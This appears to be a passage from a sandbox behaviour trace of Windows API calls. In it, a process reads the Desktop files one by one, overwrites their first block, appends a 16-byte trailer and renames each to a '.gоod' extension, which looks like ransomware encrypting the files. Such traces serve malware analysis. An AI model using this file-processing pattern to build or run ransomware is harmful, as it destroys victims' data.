lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3", lpFilePart=0x0) returned 0x30 [0184.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0184.592] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\4zfn1ykcs98mvkcw6h16.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0184.592] GetFileType (hFile=0x828) returned 0x1 [0184.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0184.592] GetFileType (hFile=0x828) returned 0x1 [0184.592] ReadFile (in: hFile=0x828, lpBuffer=0x360c788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x360c788*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0184.753] CloseHandle (hObject=0x828) returned 1 [0184.753] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3", lpFilePart=0x0) returned 0x30 [0184.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0184.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\4zfn1ykcs98mvkcw6h16.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0184.754] GetFileType (hFile=0x828) returned 0x1 [0184.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0184.754] GetFileType (hFile=0x828) returned 0x1 [0184.754] WriteFile (in: hFile=0x828, lpBuffer=0x360b4f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x360b4f0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0184.754] CloseHandle (hObject=0x828) returned 1 [0184.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3", lpFilePart=0x0) returned 0x30 [0184.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3.gоod", lpFilePart=0x0) returned 0x35 [0184.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0184.754] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\4zfn1ykcs98mvkcw6h16.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b45500, ftCreationTime.dwHighDateTime=0x1d4cdbb, ftLastAccessTime.dwLowDateTime=0xfd409d30, ftLastAccessTime.dwHighDateTime=0x1d4d1ab, ftLastWriteTime.dwLowDateTime=0x6a565982, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x64f4)) returned 1 [0184.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0184.754] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\4zfn1ykcs98mvkcw6h16.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\4ZfN1ykCS98mVKcw6H16.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\4zfn1ykcs98mvkcw6h16.mp3.gоod")) returned 1 [0184.756] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt", lpFilePart=0x0) returned 0x26 [0184.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0184.756] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\5vko6nzvqr.odt"), fInfoLevelId=0x0, lpFileInformation=0x37ca688 | out: lpFileInformation=0x37ca688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09e1a90, ftCreationTime.dwHighDateTime=0x1d4cba6, ftLastAccessTime.dwLowDateTime=0x38571540, ftLastAccessTime.dwHighDateTime=0x1d4cee9, ftLastWriteTime.dwLowDateTime=0x38571540, ftLastWriteTime.dwHighDateTime=0x1d4cee9, nFileSizeHigh=0x0, nFileSizeLow=0x9072)) returned 1 [0184.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0184.756] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt", lpFilePart=0x0) returned 0x26 [0184.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0184.756] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\5vko6nzvqr.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0184.757] GetFileType (hFile=0x828) returned 0x1 [0184.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0184.757] GetFileType (hFile=0x828) returned 0x1 [0184.757] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0184.757] ReadFile (in: hFile=0x828, lpBuffer=0x37caa20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x37caa20*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0184.757] CloseHandle (hObject=0x828) returned 1 [0184.757] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt", lpFilePart=0x0) returned 0x26 [0184.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0184.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\5vko6nzvqr.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0184.757] GetFileType (hFile=0x828) returned 0x1 [0184.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0184.758] GetFileType (hFile=0x828) returned 0x1 [0184.758] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x9072 [0184.758] WriteFile (in: hFile=0x828, lpBuffer=0x37cbc78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x37cbc78*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0184.758] CloseHandle (hObject=0x828) returned 1 [0184.758] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt", lpFilePart=0x0) returned 0x26 [0184.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0184.758] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\5vko6nzvqr.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0184.758] GetFileType (hFile=0x828) returned 0x1 [0184.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0184.758] GetFileType (hFile=0x828) returned 0x1 [0184.758] ReadFile (in: hFile=0x828, lpBuffer=0x37cdef8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x37cdef8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0185.724] CloseHandle (hObject=0x828) returned 1 [0185.724] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt", lpFilePart=0x0) returned 0x26 [0185.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0185.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\5vko6nzvqr.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0185.724] GetFileType (hFile=0x828) returned 0x1 [0185.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0185.724] GetFileType (hFile=0x828) returned 0x1 [0185.725] WriteFile (in: hFile=0x828, lpBuffer=0x3607360*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3607360*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0185.725] CloseHandle (hObject=0x828) returned 1 [0185.769] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt", lpFilePart=0x0) returned 0x26 [0185.769] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt.gоod", lpFilePart=0x0) returned 0x2b [0185.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0185.769] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\5vko6nzvqr.odt"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09e1a90, ftCreationTime.dwHighDateTime=0x1d4cba6, ftLastAccessTime.dwLowDateTime=0x38571540, ftLastAccessTime.dwHighDateTime=0x1d4cee9, ftLastWriteTime.dwLowDateTime=0x6aea2952, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9082)) returned 1 [0185.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0185.769] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\5vko6nzvqr.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\5VKo6nZvqr.odt.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\5vko6nzvqr.odt.gоod")) returned 1 [0186.375] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a", lpFilePart=0x0) returned 0x2e [0186.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0186.375] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\6uj7elon1lnqlstvcu.m4a"), fInfoLevelId=0x0, lpFileInformation=0x3821120 | out: lpFileInformation=0x3821120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb008f1d0, ftCreationTime.dwHighDateTime=0x1d4cf70, ftLastAccessTime.dwLowDateTime=0xb3893e50, ftLastAccessTime.dwHighDateTime=0x1d4cae3, ftLastWriteTime.dwLowDateTime=0xb3893e50, ftLastWriteTime.dwHighDateTime=0x1d4cae3, nFileSizeHigh=0x0, nFileSizeLow=0x1b74)) returned 1 [0186.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0186.375] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a", lpFilePart=0x0) returned 0x2e [0186.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0186.376] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\6uj7elon1lnqlstvcu.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0186.376] GetFileType (hFile=0x7f8) returned 0x1 [0186.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0186.376] GetFileType (hFile=0x7f8) returned 0x1 [0186.376] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0186.376] ReadFile (in: hFile=0x7f8, lpBuffer=0x38214f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x38214f8*, lpNumberOfBytesRead=0x1f9ee6d8*=0xb74, lpOverlapped=0x0) returned 1 [0186.376] CloseHandle (hObject=0x7f8) returned 1 [0186.376] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a", lpFilePart=0x0) returned 0x2e [0186.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0186.377] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\6uj7elon1lnqlstvcu.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0186.377] GetFileType (hFile=0x7f8) returned 0x1 [0186.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0186.377] GetFileType (hFile=0x7f8) returned 0x1 [0186.377] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1b74 [0186.377] WriteFile (in: hFile=0x7f8, lpBuffer=0x3822770*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3822770*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0186.377] CloseHandle (hObject=0x7f8) returned 1 [0186.377] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a", lpFilePart=0x0) returned 0x2e [0186.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0186.378] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\6uj7elon1lnqlstvcu.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0186.378] GetFileType (hFile=0x7f8) returned 0x1 [0186.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0186.378] GetFileType (hFile=0x7f8) returned 0x1 [0186.378] ReadFile (in: hFile=0x7f8, lpBuffer=0x3824a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3824a10*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0186.473] CloseHandle (hObject=0x7f8) returned 1 [0186.473] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a", lpFilePart=0x0) returned 0x2e [0186.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0186.473] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\6uj7elon1lnqlstvcu.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0186.474] GetFileType (hFile=0x7f8) returned 0x1 [0186.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0186.474] GetFileType (hFile=0x7f8) returned 0x1 [0186.474] WriteFile (in: hFile=0x7f8, lpBuffer=0x366ce18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x366ce18*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0186.474] CloseHandle (hObject=0x7f8) returned 1 [0186.474] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a", lpFilePart=0x0) returned 0x2e [0186.474] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a.gоod", lpFilePart=0x0) returned 0x33 [0186.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0186.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\6uj7elon1lnqlstvcu.m4a"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb008f1d0, ftCreationTime.dwHighDateTime=0x1d4cf70, ftLastAccessTime.dwLowDateTime=0xb3893e50, ftLastAccessTime.dwHighDateTime=0x1d4cae3, ftLastWriteTime.dwLowDateTime=0x6b5c9c2d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b84)) returned 1 [0186.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0186.474] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\6uj7elon1lnqlstvcu.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\6Uj7elOn1LNQLSTVCu.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\6uj7elon1lnqlstvcu.m4a.gоod")) returned 1 [0186.475] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi", lpFilePart=0x0) returned 0x28 [0186.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0186.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\9pdlu2bm1qil.avi"), fInfoLevelId=0x0, lpFileInformation=0x36b9e58 | out: lpFileInformation=0x36b9e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14726aa0, ftCreationTime.dwHighDateTime=0x1d4cde3, ftLastAccessTime.dwLowDateTime=0xb7a93b70, ftLastAccessTime.dwHighDateTime=0x1d4d376, ftLastWriteTime.dwLowDateTime=0xb7a93b70, ftLastWriteTime.dwHighDateTime=0x1d4d376, nFileSizeHigh=0x0, nFileSizeLow=0x937b)) returned 1 [0186.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0186.475] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi", lpFilePart=0x0) returned 0x28 [0186.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0186.475] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\9pdlu2bm1qil.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0186.476] GetFileType (hFile=0x7f8) returned 0x1 [0186.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0186.476] GetFileType (hFile=0x7f8) returned 0x1 [0186.476] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0186.476] ReadFile (in: hFile=0x7f8, lpBuffer=0x36ba210, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x36ba210*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0186.476] CloseHandle (hObject=0x7f8) returned 1 [0186.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi", lpFilePart=0x0) returned 0x28 [0186.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0186.476] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\9pdlu2bm1qil.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0186.476] GetFileType (hFile=0x7f8) returned 0x1 [0186.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0186.476] GetFileType (hFile=0x7f8) returned 0x1 [0186.476] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x937b [0186.477] WriteFile (in: hFile=0x7f8, lpBuffer=0x36bb478*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x36bb478*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0186.477] CloseHandle (hObject=0x7f8) returned 1 [0186.477] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi", lpFilePart=0x0) returned 0x28 [0186.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0186.477] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\9pdlu2bm1qil.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0186.477] GetFileType (hFile=0x7f8) returned 0x1 [0186.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0186.477] GetFileType (hFile=0x7f8) returned 0x1 [0186.477] ReadFile (in: hFile=0x7f8, lpBuffer=0x36bd708, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x36bd708*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0187.029] CloseHandle (hObject=0x7f8) returned 1 [0187.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: 